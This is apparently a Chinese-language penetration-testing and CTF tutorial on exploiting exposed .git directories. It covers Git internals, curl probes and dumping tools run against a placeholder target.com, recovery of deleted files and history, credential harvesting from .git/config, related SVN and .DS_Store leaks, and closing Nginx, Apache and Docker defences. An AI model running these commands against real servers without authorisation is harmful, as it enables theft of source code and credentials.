前言
Git 泄露是指由于运维配置不当,Web 目录下的 .git 文件夹对公网暴露,攻击者可以直接下载整个 Git 仓库的元数据,进而恢复网站完整的源代码、历史提交记录、配置文件中的敏感信息(数据库密码、API 密钥等)。
这类漏洞在 CTF 和渗透测试中非常常见,且利用工具成熟——自动化工具可以在数分钟内完成从扫描到完整源码恢复的全过程。
核心危害:
- 恢复网站所有源代码(包括未在 Web 层直接暴露的后端逻辑)
- 获取
.git/config 中的数据库密码、API Token 等凭据
- 通过
git log + git reflog 恢复曾经提交、后来被删除的敏感文件
- 对比历史版本,发现开发者在修复漏洞前留下的”有漏洞版本”
- 获取
.gitignore 中列出的敏感文件名,再针对性访问
一、Git 内部对象模型
了解 Git 的存储结构是理解”为什么能通过 .git 目录恢复完整源码”的关键。
1.1 四种核心对象
1 2 3 4 5 6 7 8 9 10 11
| ┌──────────────────────────────────────────────────────────────┐ │ Git 对象模型 │ │ │ │ Commit ───→ 包含: author, committer, message, parent, tree │ │ │ │ │ └──→ Tree ───→ 包含: 文件名 + 对应 Blob 哈希 列表 │ │ │ │ │ └──→ Blob ───→ 文件内容(不含文件名!) │ │ │ │ Tag ───→ 包含: 标签名 + 指向的 Commit 哈希 │ └──────────────────────────────────────────────────────────────┘
|
| 对象 |
存储内容 |
示例 |
| Blob |
文件的实际内容(压缩后) |
hello world → 哈希 95d09f2... |
| Tree |
目录结构(文件名 → Blob 哈希 的映射) |
{"index.php": "a1b2c3...", "config/": "d4e5f6..."} |
| Commit |
提交信息(作者、时间、message、指向的 Tree、父 Commit) |
commit message: "fix bug" |
| Tag |
给特定 Commit 起的别名 |
v1.0 → commit abc123 |
关键性质:
- 每个对象都以其内容的 SHA-1 哈希命名,存储在
.git/objects/ 下(前两位为目录名,后 38 位为文件名)
- 只要拿到
.git/objects/ 中的文件,就能恢复对应的源代码
- 更新一个文件 → 新的 Blob + 新的 Tree + 新的 Commit,旧对象不会立即删除
1.2 .git 目录结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| .git/ ├── HEAD # 当前分支指针(ref: refs/heads/main) ├── config # 仓库配置 → 可能含远程地址、凭据 ├── description # 仓库描述 ├── index # 暂存区 ├── refs/ # 引用 │ ├── heads/ # 本地分支(main, dev, feature/xxx) │ └── tags/ # 标签(v1.0, v2.0) ├── objects/ # 对象数据库(核心!) │ ├── 5f/ │ │ └── ef682d... # 单个对象文件 │ ├── info/ │ │ └── packs/ # 打包对象索引 │ └── pack/ # 打包的对象(大文件优化) └── logs/ # 操作日志 ├── HEAD # HEAD 变更记录(git reflog 的数据源) └── refs/ # 各分支的变更日志
|
HEAD → refs/heads/main → 指向最新 Commit 哈希,这是整个引用链的起点。只要拿到这个链,就能遍历所有对象。
1.3 追踪一条引用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| .git/HEAD ↓ 内容: "ref: refs/heads/main" .git/refs/heads/main ↓ 内容: "abc123def456..." (最新 commit 的 SHA-1) .git/objects/ab/c123def456... ↓ git cat-file -p abc123 → 得到 commit 内容: │ tree d4e5f6789... │ parent 111aaa222... ← 上一个 commit │ author ... │ message "fix login bug" .git/objects/d4/e5f6789... ↓ git cat-file -p d4e5f6 → 得到 tree 内容: │ 100644 blob a1b2c3... index.php │ 040000 tree b4c5d6... config/ .git/objects/a1/b2c3... ↓ git cat-file -p a1b2c3 → 得到文件内容: <?php echo "hello"; ?>
|
结论: 只要 .git/objects/ 完整,就能 100% 恢复整个仓库的所有文件和历史版本。
二、.git 泄露的成因与检测
2.1 常见成因
| 原因 |
说明 |
| 部署方式错误 |
开发者直接在服务器上 git clone 后当作生产环境使用 |
| CI/CD 配置失误 |
构建脚本将 .git 目录一起打包进 Web 根目录 |
| Docker 构建残留 |
.dockerignore 未排除 .git,镜像中包含完整仓库 |
| Nginx/Apache 配置不当 |
未拦截对隐藏目录(.开头)的访问 |
| 备份文件恢复 |
从备份还原 .git 被一起恢复到了 Web 路径下 |
2.2 检测方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| curl http://target.com/.git/HEAD
curl http://target.com/.git/config
curl http://target.com/.git/index
dirb http://target.com /usr/share/wordlists/dirb/common.txt gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt feroxbuster -u http://target.com -x .git
|
判断标准: 如果 http://target.com/.git/HEAD 返回 ref: refs/heads/main 或 ref: refs/heads/master,确认存在 Git 泄露。
2.3 部分泄露 vs 完整泄露
| 情况 |
.git/HEAD |
.git/objects/ |
可恢复内容 |
| 完整泄露 |
✓ 可访问 |
✓ 目录可列 |
全部源码 + 全部历史 |
| 无目录列表 |
✓ 可访问 |
✗ 不可列,但文件可访问(已知哈希) |
部分对象(需手动推断哈希) |
| HEAD 不可访问 |
✗ |
部分对象可猜解 |
零星文件(难度大) |
三、自动化利用工具
通用前提: 确认 http://target.com/.git/HEAD 可访问后,先用工具整体 dump。
3.1 GitHack(Python,最常用)
1 2 3 4 5 6 7 8 9 10 11
| git clone https://github.com/lijiejie/GitHack.git cd GitHack
python GitHack.py http://target.com/.git/
cd target.com/ git log --oneline git show HEAD:config.php
|
原理: 先解析 .git/HEAD 拿到当前分支 → 下载引用链上的 commit/tree/blob 对象 → 发现缺失的对象时尝试爆破常见哈希前缀 → 本地重建 git 仓库。
3.2 git-dumper(Python,断点续传)
1 2 3 4 5 6 7 8 9
| pip install git-dumper
git-dumper http://target.com/.git/ ./output_dir
cd output_dir git checkout HEAD
|
优势: 当 .git/objects/ 目录无法列出但可以猜到哈希时,会依次尝试下载已知对象的所有可能子对象。对恢复非 HEAD 指向的历史文件尤其有效。
3.3 GitHacker(Node.js)
1 2 3 4 5 6
| git clone https://github.com/wangyihang/GitHacker.git cd GitHacker
node githacker.js --url http://target.com/.git/ --output-folder ./result
|
1 2 3 4 5 6 7 8 9 10 11
| git clone https://github.com/internetwache/GitTools.git cd GitTools
./gitfinder.sh -i targets.txt
./gitdumper.sh http://target.com/.git/ ./output
./extractor.sh ./output ./extracted
|
3.5 dvcs-ripper(支持 Git/SVN/HG/Bazaar)
1 2 3 4 5 6 7 8 9 10 11
| git clone https://github.com/kost/dvcs-ripper.git cd dvcs-ripper
./rip-git.pl -v -u http://target.com/.git/
./rip-svn.pl -v -u http://target.com/.svn/
./rip-hg.pl -v -u http://target.com/.hg/
|
四、手动利用流程
4.1 基础恢复
1 2 3 4 5 6 7 8 9 10 11
| cd output_dir
git status
git log --all --oneline --graph
git checkout main
|
4.2 查看引用链
1 2 3 4 5 6 7 8 9 10 11 12 13
| cat .git/HEAD
cat .git/refs/heads/main
ls .git/refs/heads/
ls .git/refs/tags/
|
4.3 查看历史版本
1 2 3 4 5 6 7 8 9 10 11
| git log --all --oneline --graph
git log --all --stat
git show <commit-hash>
git show <commit-hash>:config.php
|
4.4 恢复已删除的文件
关键概念: git log 只显示当前分支能追溯到的 commit。如果一个文件在提交后被删除、且该删除也被 commit 了,普通 git log 看不到。此时需要 git reflog。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| git reflog
git show HEAD@{1}:config.php
git checkout HEAD@{1} -- config.php
git branch recover-branch def5678 git checkout recover-branch
|
4.5 用 cat-file 手动查看对象
当 git log/git reflog 不可用时(如部分对象损坏),可以直接解包对象文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| git cat-file -t <object-hash>
git cat-file -p <object-hash>
git cat-file -p abc123d
git cat-file -p d4e5f67
git cat-file -p a1b2c3d
git ls-tree -r <commit-hash>
|
4.6 恢复孤立对象(dangling objects)
Git 会定期执行 git gc(垃圾回收),但在那之前,被删除的分支/commit 指向的孤立对象仍在 .git/objects/ 中。
1 2 3 4 5 6 7 8 9 10 11 12
| git fsck --full --no-reflogs --unreachable
git fsck --full --no-reflogs --dangling
git cat-file -p <dangling-blob-hash>
git fsck --lost-found
|
这在 CTF 中非常实用——开发者可能曾经 commit 过 flag.txt,后来删除并 git commit --amend 覆盖了 commit,但旧的 blob 仍未回收。
五、Git 命令速查表
5.1 仓库操作
1 2 3
| git init git clone <url> git status
|
5.2 暂存与提交
1 2 3 4 5
| git add a.txt git rm --cached a.txt git commit -m "message" git log git log --all --oneline --graph
|
5.3 撤销操作
1 2 3
| git restore a.txt git reset --hard <commit-hash> git revert <commit-hash>
|
reset vs revert: reset --hard 直接”倒退”历史,之后的 commit 在 git log 中消失(但 git reflog 仍可恢复)。revert 创建新 commit,git log 中保留完整记录。生产环境中有审计需求时优先用 revert。
5.4 分支与合并
1 2 3 4 5
| git branch <name> git branch -v git checkout <branch> git checkout -b <name> git merge <branch>
|
5.5 标签
1 2 3
| git tag <name> <commit-hash> git tag -d <name> git tag
|
5.6 查看对象内容
1 2 3 4 5 6
| git cat-file -t <hash> git cat-file -p <hash> git show <hash> git show <hash>:<file-path> git ls-tree -r <commit-hash> git ls-files --stage
|
5.7 低层命令(绕过 git 命令直接读取 .git 文件)
1 2 3 4 5 6 7 8 9 10
|
python3 -c " import zlib, sys with open('.git/objects/XX/YYYY...', 'rb') as f: print(zlib.decompress(f.read())) "
|
六、无目录列表时的利用技巧
有些服务器配置了 Nginx/Apache 禁止目录遍历(autoindex off),但 .git 下的文件仍可从 URL 直接访问——前提是知道文件名(SHA-1 哈希)。
6.1 已知文件推断哈希
| 已知信息 |
可推断 |
.git/HEAD 可访问 |
拿到当前分支 → refs/heads/<branch> → 拿到最新 commit 哈希 |
| 最新 commit 哈希 |
git cat-file -p → 拿到 tree 哈希 |
| tree 哈希 |
tree 内容中包含所有子 tree 和 blob 的哈希 |
| 一个已知的 blob |
文件内容是确定的,重新计算哈希就知道它存储的路径 |
6.2 根据已知文件回推 Blob 哈希
Git 的 blob 哈希计算方式固定:
1 2 3 4 5 6 7 8 9 10 11 12 13
| import hashlib
def git_blob_hash(content): """计算给定内容的 Git blob SHA-1 哈希""" header = f"blob {len(content)}\0" store = header.encode() + content.encode() return hashlib.sha1(store).hexdigest()
content = "User-agent: *\nDisallow: /\n" blob_hash = git_blob_hash(content) print(f".git/objects/{blob_hash[:2]}/{blob_hash[2:]}")
|
6.3 利用 pack 文件
当对象被打包(git gc 后),哈希不再以独立文件存储,而是合并到 .git/objects/pack/pack-xxx.pack 中。可以下载 .pack 和 .idx 文件后用 git unpack-objects 将对象还原。
1 2 3 4 5 6 7
| wget http://target.com/.git/objects/pack/pack-xxx.idx wget http://target.com/.git/objects/pack/pack-xxx.pack
git unpack-objects < pack-xxx.pack
|
6.4 信息文件辅助
以下文件通常不依赖目录列表也能访问,可作为信息收集起点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| curl http://target.com/.git/config
curl http://target.com/.git/description
curl http://target.com/.git/HEAD
curl http://target.com/.git/packed-refs
curl http://target.com/.git/index
curl http://target.com/.git/refs/heads/main curl http://target.com/.git/refs/heads/master
curl http://target.com/.gitignore
curl http://target.com/.gitattributes
|
七、.git/config 中的敏感信息
这是 Git 泄露中最直接的高危发现——.git/config 中可能包含:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| [core] repositoryformatversion = 0 filemode = true
[remote "origin"] url = https://oauth2:ghp_xxxxxxxxxxxx@github.com/company/private-repo.git fetch = +refs/heads/*:refs/remotes/origin/*
[remote "production"] url = ssh://deploy:SuperSecretPassw0rd@prod-server.com:22/var/www/app
[credential] helper = store
|
攻击链: .git/config 泄露 → 拿到 GitHub Token → 远程 clone 私有仓库 → 获取更多源码和凭据 → 横向渗透。
八、CTF 中的进阶利用
8.1 找 Flag 的关键位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| git log --all -p | grep -i flag
git rev-list --all | while read hash; do git grep -i flag $hash 2>/dev/null done
git log --all --oneline | grep -iE 'flag|remove|delete|secret|key'
cat .gitignore
curl http://target.com/secret.txt curl http://target.com/flag.php
|
8.2 恢复被 amend 覆盖的 commit
1 2 3 4 5 6 7 8
|
git reflog git show HEAD@{1} git checkout -b recover HEAD@{1}
|
8.3 恢复被 git reset --hard 删除的代码
1 2 3 4 5 6
|
git reflog
git checkout -b rescue HEAD@{1} git log --oneline
|
8.4 利用 stash 中的内容
1 2 3 4 5 6 7 8 9 10
| git stash list
git stash show -p
git stash pop
git stash apply
|
8.5 交叉引用不同分支
1 2 3 4 5 6 7 8 9
| git branch -a
git checkout dev git checkout feature-xxx
git diff main..dev
|
九、相关泄露类型
9.1 SVN 泄露(.svn)
SVN 1.6 及更早版本在每个目录下都有一个 .svn 文件夹,其中 entries 文件包含完整的文件列表和 text-base(源代码副本)。
1 2 3 4 5 6 7 8 9 10
| curl http://target.com/.svn/entries curl http://target.com/.svn/wc.db
git clone https://github.com/kost/dvcs-ripper.git ./rip-svn.pl -v -u http://target.com/.svn/
git clone https://github.com/anantshri/svn-extractor.git
|
9.2 DS_Store 泄露(macOS)
macOS 在浏览文件夹时自动生成 .DS_Store 文件,其中包含目录下的所有文件名。
1 2 3 4 5 6
| curl http://target.com/.DS_Store
git clone https://github.com/gehaxelt/Python-dsstore.git python dsstore_dump.py .DS_Store
|
9.3 Mercurial / Bazaar 泄露
1 2 3 4 5
| curl http://target.com/.hg/store/fncache
curl http://target.com/.bzr/README
|
十、防御措施
| 层面 |
措施 |
说明 |
| Web 服务器 |
禁止访问以 . 开头的隐藏目录 |
Nginx: location ~ /\. { deny all; } |
| Web 服务器 |
Apache: RedirectMatch 404 /\.git |
返回 404 而非 403(403 暴露目录存在) |
| 部署流程 |
使用 CI/CD 构建产物部署,而非直接 git clone |
部署时复制文件到 Web 目录,不包含 .git |
| Docker |
.dockerignore 中添加 .git |
避免将仓库打入镜像 |
| 权限 |
.git 目录设 chmod 000 或属主改为非 Web 用户 |
Web 进程无权读取 .git |
| 监控 |
告警对 /.git/HEAD 的访问请求 |
正常用户不会请求该路径 |
| 预提交检查 |
.git/hooks/pre-commit 扫描敏感信息 |
阻止提交含密码/token 的文件 |
| 安全培训 |
教育开发者不要在生产服务器上 git clone |
从源头上消除泄漏 |
防御配置示例
Nginx:
1 2 3 4 5 6 7 8 9 10 11
| location ~ /\.git { deny all; return 404; }
location ~ /\.(svn|hg|bzr|DS_Store) { deny all; return 404; }
|
Apache(.htaccess 或 httpd.conf):
1 2 3 4 5 6 7
| <DirectoryMatch "^\.git"> Require all denied </DirectoryMatch>
RedirectMatch 404 /\.git/ RedirectMatch 404 /\.svn/ RedirectMatch 404 /\.DS_Store
|
Docker(.dockerignore):
1 2 3 4 5 6
| .git .gitignore .gitattributes *.md .env node_modules
|
参考